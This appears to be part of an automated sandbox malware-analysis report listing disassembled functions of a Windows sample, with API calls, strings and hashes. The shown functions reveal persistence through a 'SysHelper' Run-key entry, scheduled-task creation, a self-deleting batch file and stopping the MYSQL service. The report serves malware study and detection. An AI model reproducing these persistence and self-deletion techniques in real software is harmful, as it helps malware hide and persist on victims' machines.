CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

D, xrefs: 00412720
" goto try, xrefs: 00412666
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
TEMP, xrefs: 004125DF
delself.bat, xrefs: 0041261C
@echo off:trydel ", xrefs: 0041262A
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
"if exist ", xrefs: 00412648

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4
-----BEGIN , xrefs: 004636A4
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(0080A9F0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OpenSSL: FATAL, xrefs: 00454BC7
OPENSSL, xrefs: 00454B77

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
